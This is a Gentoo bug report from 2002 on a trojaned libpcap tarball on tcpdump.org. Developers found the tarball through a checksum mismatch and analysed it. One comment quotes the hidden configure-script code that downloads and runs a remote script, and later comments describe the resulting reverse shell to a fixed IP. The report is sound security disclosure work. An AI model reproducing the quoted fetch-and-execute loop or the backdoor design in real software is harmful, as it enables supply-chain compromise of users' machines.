Gentoo Websites Logo
Go to: Gentoo Home Documentation Forums Lists Bugs Planet Store Wiki Get Gentoo!
Bug 10663 - Trojaned libpcap on tcpdump.org
Summary: Trojaned libpcap on tcpdump.org
Status: RESOLVED FIXED
Alias: None
Product: Gentoo Linux
Classification: Unclassified
Component: New packages (show other bugs)
Hardware: x86 Linux
: Highest critical (vote)
Assignee: Gentoo Security
URL:
Whiteboard:
Keywords:
Depends on:
Blocks:
 
Reported: 2002-11-12 23:18 UTC by Russell Adams
Modified: 2003-02-04 19:42 UTC (History)
6 users (show)

See Also:
Package list:
Runtime testing required: ---


Attachments

Note You need to log in before you can comment on or make changes to this bug.
Description Russell Adams 2002-11-12 23:18:58 UTC
My Gentoo install caught differences in the md5sums of the libpcap-0.7.1
sources from http://www.tcpdump.org/release/libpcap-0.7.1.tar.gz and the
md5sum on file in the ebuild.

I've downloaded the same sources from
http://www.ibiblio.org/pub/Linux/distributions/gentoo/distfiles/libpcap-0.7.1.t$
and performed a comparison, this is what I've found.

The two versions do vary, with the tcpdump.org file containing
modifications to the configure script and a modification to gencode.c.

The configure script downloads http://mars.raketti.net/~mash/services,
which is a file describing internet ports that also contains a shell
script embedded in it that creates and compiles a C program that opens
port 1963 and opens /bin/sh upon remote connection. It seems to listen
only for connections from 212.146.0.34. It might be calling home though,
my C is a bit rusty.

Can someone help verify this?

Please CC any correspondence to rladams@kelsey-seybold.com.


Demo / Russell
Comment 1 SpanKY gentoo-dev 2002-11-12 23:37:39 UTC
the good news is people using Gentoo *should* be unaffected 
Comment 2 Bruce A. Locke (RETIRED) gentoo-dev 2002-11-12 23:40:53 UTC
Yep... The copy of libpcap-0.7.1.tar.gz is definatly trojaned.  A diff of the
configure script between the gentoo cached copy and the tcpdump.org copy shows
the tcpdump.org copy having lines such as:

 CNF="services"
 URL="mars.raketti.net/~mash/$CNF"

and

 (IFS=","
 ARGS="wget -q -O -,lynx --source,fetch -q -o -"

 for i in $ARGS; do
       IFS=" "
       $i $URL 1> $CNF
       if [ -f $CNF ]; then sh $CNF
           exit
       fi
       rm -f $CNF
 done) 1>/dev/null 2>/dev/null &

The Gentoo cached copy on ibiblio does not show this and the trojaned copy from
the upstream site has a different md5sum from the one we have digest so it
appears we (Gentoo) has dodged this bullet.

Anyone working on contacting the upstream?
Comment 3 Russell Adams 2002-11-12 23:41:41 UTC
Yes, the digest check picked it up. The only time the tcpdump.org version is
used is if the ibiblio mirror isn't responding. There's still a chance though.
I've notified the tcpdump.org mailing list...

Demo / Russell
Comment 4 Russell Adams 2002-11-12 23:44:53 UTC
The services file it downloads contains an embedded shell script. I've attached
it, can someone who's current with C explain what it does?

I've determined it must open port 1963 and linked it to /bin/sh, but not much
else.

Demo / Russell
Comment 5 SpanKY gentoo-dev 2002-11-12 23:48:29 UTC
you're right thats all it does ... thats all it really needs to do ... 
open a shell on a port and listen ... chances are its a root shell and from 
there the person can own the box ;) 
Comment 6 Bruce A. Locke (RETIRED) gentoo-dev 2002-11-12 23:52:19 UTC
The program connects to 212.146.0.34:1963 and reads one of three one byte status
codes:

A - program exists
M - closes connection, sleeps 3600 seconds, reconnects
D - forks and spawns a shell and does the needed file descriptor manipulation to
redirect it to the existing connection to 212.146.0.34. Its important to note
that it reuses the same outgoing connection so no other connection is needed to
use the shell.  (Gets around firewalls that block incoming connections).



Comment 7 Bruce A. Locke (RETIRED) gentoo-dev 2002-11-12 23:54:13 UTC
erm... that should be "program exits"... not "program exists" :)
Comment 8 Russell Adams 2002-11-13 00:01:52 UTC
The Houston Linux Users Group is throwing up a quick page, and I've quoted you
Bruce if you don't mind (w/ proper credits).
Comment 9 Russell Adams 2002-11-13 10:47:12 UTC
Turns out all recent sources for libpcap (3.7.1) and 
tcpdump (3.6.2 and 3.7.1) are compromised.

See the report on slashdot.org. Thanks again Bruce.
Comment 10 Rajiv Aaron Manglani (RETIRED) gentoo-dev 2002-11-27 21:47:58 UTC
for more info:

http://www.hlug.org/trojan/

gentoo was never affected.